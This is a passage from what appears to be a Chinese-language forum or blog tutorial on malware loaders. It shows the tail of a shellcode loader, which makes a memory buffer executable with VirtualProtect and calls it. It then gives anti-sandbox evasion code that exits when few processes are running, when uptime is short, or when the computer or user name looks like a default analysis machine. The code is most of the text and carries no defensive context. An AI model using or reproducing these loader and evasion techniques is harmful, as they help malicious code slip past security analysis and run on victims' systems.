VirtualProtect(exec, memory_allocation, PAGE_EXECUTE, &ignore);
typedef void(*some_one)();
some_one func = (some_one)exec;
func();
return 0;
}0x09、关于反沙箱由于沙箱环境的资源有限,他们可能会将运行的进程数量限制到最小,这里代码的意思是用户在任何时候都至少有50个进程在运行。DWORD runningProcessesIDs[1024];
DWORD runningProcessesCountBytes;
DWORD runningProcessesCount;
EnumProcesses(runningProcessesIDs, sizeof(runningProcessesIDs), &runningProcessesCountBytes);
runningProcessesCount = runningProcessesCountBytes / sizeof(DWORD);
if (runningProcessesCount < 50) return false;判断正常运行时间ULONGLONG uptime = GetTickCount64() / 1000;
if (uptime < 1200) return false; //20 分钟检测计算机名和用户名,默认机器名称都是遵循DESKTOP-[0-9A-Z]{7}(或其他具有随机字符的类似模式),我们可以将这些名称与已知的字符串进行比较//检查计算机名
DWORD computerNameLength = MAX_COMPUTERNAME_LENGTH;
wchar_t computerName[MAX_COMPUTERNAME_LENGTH + 1];
GetComputerNameW(computerName, &computerNameLength);
CharUpperW(computerName);
if (wcsstr(computerName, L"DESKTOP-")) return false;
//检查用户名
DWORD userNameLength = UNLEN;
wchar_t userName[UNLEN + 1];
GetUserNameW(userName, &userNameLength);
CharUpperW(userName);
if (wcsstr(userName, L"ADMIN")) return false;}

我要回帖

更多关于 木马病毒可以远程控制吗 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信